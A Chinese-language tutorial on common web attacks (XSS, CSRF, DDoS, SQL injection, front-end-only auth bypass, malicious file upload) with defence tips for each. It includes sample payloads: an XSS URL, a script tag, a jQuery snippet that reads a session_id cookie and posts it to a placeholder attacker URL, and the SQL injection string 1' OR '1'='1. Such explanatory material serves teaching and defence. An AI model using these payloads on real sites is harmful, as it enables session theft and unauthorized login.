1.XSS
说明:
XSS攻击全称 跨站脚本攻击(Cross Site Scripting),是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.
XSS简单分为反射型、存储型(DOM型属于反射型的一种),其本质上是HTML注入,简单来说就是通过某种手段引诱受害者(用户)信任该脚本(或网站),进而可以使攻击方的代码在客户端为所欲为.
常见的诸如各类钓鱼网站,钓鱼邮件,或是最简单的页面脚本注入等皆为此类型.
举个栗子:
- 反射型:
反射型XSS需要欺骗用户去执行(访问或点击)攻击者构造的脚本,从而触发js事件.也就是说,这种攻击手段是被动执行的.
举个栗子:
假如构造一个形如
http://demo/index.html?user=%3Cscript%3Ealert(233)%3C/script%3E
这样的url,那么当用户访问该url时,script中的脚本就会被执行,同时由于domain为受信任的网站,所以可以正常获取到用户的敏感信息.
这种注入方式由于特征明显,可以被很多浏览器过滤掉.
- 存储型:
存储型XSS将攻击代码持久化存储在数据库\服务器中,使得每次该数据被load时,该脚本都会被执行.
举个栗子:
假如用户输入未被验证,在数据库中存储了以下数据:
<script>alert("xxx");<script>
那么每当该数据被页面读取,该脚本就会被客户端解析并加载一次.
当然,注入方式多种多样,可能是未经过验证的脚本输入(<script></script>),或者一张带有执行脚本的图片文件(<img>).
防范:
防御XSS最棘手的地方就在于其切入点的多样性,特别是在业务体量巨大的情况下,试图筛选出所有XSS的注入点实在是费时费力.
一般而言,最基本的防范措施:
- 1.输入过滤;
根据业务需求,适当过滤掉' " , < > \ <! --等特殊字符,尽量保证录入后端的数据可靠性; - 2.输出过滤;
同上,尽量保证输出到页面的数据可靠性; - 3.开启浏览器自带的XSS防护;
可以有效过滤很多低端钓鱼链接;
防范XSS的核心在于记住一句话:
所有的输入都是有害的。
2.CSRF
说明:
CSRF（Cross-site request forgery）跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用.尽管听起来像跨站脚本XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范,所以被认为比XSS更具危险性.
CSRF的根本原因是服务器对用户身份的过分信任或验证机制的不完善.
CSRF可以使用XSS作为payload,在用户不知情的情况下攫取受害者(用户)的真实信息(cookie等),从而使用该真实信息向服务器发起请求.
举个栗子:
假如某站将session_id以cookie的方式记录在客户端中,并且每次提交都以该session_id作为用户身份识别的依据,那么在用户已登录的情况下,攻击者只要通过上文介绍的XSS方式,诱骗或引导用户执行以下代码就能获取这个关键的session_id:
var sid = $.cookie('session_id'); // 获取用户信息
$.POST('/攻击方url', sid);
当攻击者获取session_id后,就可以在该身份有效期内利用这个session_id伪造成该用户从而进行各种操作.当服务器的验证方式不够健全时,这种操作方式可以是致命的.
防范:
由于CSRF在客户端难以被预测,所以防御手段主要集中在服务端.
- 1.验证HTTP Referer字段:
该字段记录了本次请求的来源,通过比对验证该字段值可以拒绝来自白名单外的访问请求.不过需要注意的是,来自某些来源的访问并不带有Referer字段(如桌面超链接,word文档超链接等),并且Referer字段是可以被伪造的. - 2.使用独特的加密规则,在每次请求中携带并验证一个token的正确性:
这是目前最实用且易用的解决方案.需要注意的是,该token的加密及验证方式需要足够的安全性,避免验证规则被暴力解析,并且在某些业务中,该方式并不足够灵活. - 3.使用定制HTTP报头:
定制一个HTTP的报头并置于每次请求中,服务端收到请求后首先验证报头的正确性.不确定报头能否被跨站伪造,所以该方式本人持怀疑态度. - 4.增加额外的验证步骤:
在敏感操作前增加如验证码等操作,这样会增加额外的操作,需要在用户体验和安全性之间做出权衡. - 5.对于一些安全等级较高或来源不可控的访问业务(如支付,三方登陆等),现在有个比较流行的授权方案:
OAuth协议
该协议目前已是2.0版本,泛用性较高,并且各平台将该协议演化出了不同版本.这里就不再赘述.
3.DDoS
说明:
DDoS是Denial of Service的简称，即拒绝服务，造成DDoS的攻击行为被称为DDoS攻击，其目的是使计算机或网络无法提供正常的服务。最常见的DDoS攻击有计算机网络带宽攻击和连通性攻击。
DDoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源，目的是让目标计算机或网络无法提供正常的服务或资源访问，使目标系统服务系统停止响应甚至崩溃，而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽，文件系统空间容量，开放的进程或者允许的连接。这种攻击会导致资源的匮乏，无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。
最直接的例子就是前些年春运期间的12306,当访问用户过多时服务器处理不过来,只能宕机.
这种攻击方式的危害不仅在于会让过载的服务器宕机,更会由于异常的流量涌入导致服务器ip被运营商屏蔽,导致一段时间内该ip下的所有服务器都无法使用.
防范:
这种方式是针对服务器本体的,一些云服务提供商推出了一些容灾措施,号称可以扛住XXGB的攻击,实际上也只是分布式容灾而已.如果有人下血本使用DDoS来攻击你的服务器,基本上是没有什么办法的(摊手).
4.SQL注入
说明:
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（恶意的）SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。
不得不说这种方式实在很low,但是近些年因此翻车的各大网站也是比比皆是.
曾经有人这样评价:这种攻击方式就跟把你家大门踹开进去偷东西一样low.
不多做评价了,随便搜了个栗子:
某个网站的登录验证的SQL查询代码为：
strSQL = "SELECT * FROM users WHERE (name
= '" +
userName + "') and (pw
= '"+
passWord +"');"
恶意填入
userName = "1' OR '1'='1"; 与passWord = "1' OR '1'='1";
将导致原本的SQL字符串被填为
strSQL = "SELECT * FROM users WHERE (name
= '1' OR '1'='1') and (pw = '1' OR '1'='1');"
也就是实际上运行的SQL命令会变成下面这样的
strSQL = "SELECT * FROM users;"
因此达到无账号密码，亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。
防范:
SQL注入的本质在于它是一条语言而不是一个特定格式的API,它只能作为一条语句被整体执行.也就是说,输入的内容可以直接进入SQL,一个元素就可以变成一条语句,那么SQL注入就无法防止.
所以,杜绝SQL语句的动态拼装可以解决绝大多数的问题.
- 1.使用参数化查询;
- 2.使用词法分析;
- 3.使用noSQL;
5.停用js
说明:
假如由于某些原因(多半由于技术过菜),授权验证的操作都在前端(大多是js)完成,那么直接禁用掉js就可以绕开这部分的验证步骤...
如果上一种攻击方式是踹大门偷东西,那么这种方式差不多就是点了一把火把房子烧了然后进去拿东西...
我一度觉得这种攻击方式甚至不能被称为攻击,也许能算的上bug的一种.
随手写个栗子:
var auth = function () {
if (!user) {
alert(' authorize denied!! ');
// do something rejection
}
}
可见当user为false时,该函数会返回执行一系列拒绝操作.但是当js被禁用后,显然拒绝操作不会被执行.
防范:
低级问题,无需多言.
6.文件上传
说明:
文件上传攻击是指攻击者利用WEB应用对上传文件过滤不严,导致可以上传应用程序定义类型范围之外的文件到Web服务器.比如可以上传一个网页木马,如果存放上传文件的目录刚好有执行脚本的权限,那么攻击者就可以直接得到一个WebShell.
由于服务器端没有对用户上传的文件进行正确的处理,导致攻击者可以向某个可通过Web访问的目录上传恶意文件,并且该文件可以被Web服务器解析执行.
攻击者要想成功实施文件上传攻击,必须要满足以下三个条件:
- 1.可以上传任意脚本文件,且上传的文件能够被Web服务器解析执行,具体来说就是存放上传文件的目录要有执行脚本的权限.
- 2.用户能够通过Web访问这个文件,如果文件上传后,不能通过Web访问,那么也不能成功实施攻击.
- 3.要知道文件上传到服务器后的存放路径和文件名称,因为许多Web应用都会修改上传文件的文件名称,那么这时就需要结合其他漏洞去获取到这些信息,如果不知道上传文件的存放路径和文件名称,即使你上传了也无法访问.
防范:
这种攻击方式也是很基础的,但是其危害性不容小觑.由于其局限性较强,所以可以针对其发动条件逐条排查:
- 1.检查上传文件的格式是否符合要求:
前端的格式验证可能被某些工具绕过,所以最可靠的方式是后端以白名单的形式进行验证. - 2.检查文件名和Http content-type报头:
强化上一条的检查内容,检查文件名中的%00等截断符,阻止可能混淆在文件名中的可能性.检查请求报头和文件大小,对异常情况做出反应. - 3.增加文件的访问权限:
针对不同的业务需求,适当提升部分文件的请求权限,使得该文件无法被普通用户访问或执行. - 4.使用随机访问路径:
借鉴分布式的设计理念,在文件访问路径中混入随机参数,避免文件被简单的追踪到. - 5.定期筛查文件,避免漏网之鱼.
